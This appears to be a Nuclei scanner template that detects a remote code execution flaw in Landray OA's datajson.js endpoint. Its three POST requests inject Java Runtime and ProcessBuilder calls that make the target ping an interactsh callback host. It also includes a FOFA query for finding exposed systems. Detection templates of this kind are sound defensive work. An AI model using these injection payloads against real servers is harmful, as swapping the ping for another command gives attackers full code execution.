id: landray-oa-datajson-rce

info:
  name: Landray OA Datajson RCE
  author: SleepingBag945
  severity: critical
  description: |
    FOFA: app="Landray-OA系统"
  reference: 
    - https://www.cnsuc.net/thread-553.htm
  tags: landray,rce

http:
  - raw:
      - |
        POST /data/sys-common/datajson.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s_bean=sysFormulaSimulateByJS&script=new java.lang.ProcessBuilder("ping","{{interactsh-url}}").start()&type=1

      - |
        POST /data/sys-common/datajson.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec("ping%20-c%204%20{{interactsh-url}}")&type=1

      - |
        POST /data/sys-common/datajson.js HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s_bean=sysFormulaSimulateByJS&script=var+calc='ping+{{interactsh-url}}';java.lang.Runtime.getRuntime().exec(calc)&type=1

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
      - type: word
        words:
          - 'success":true'
        condition: and


    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output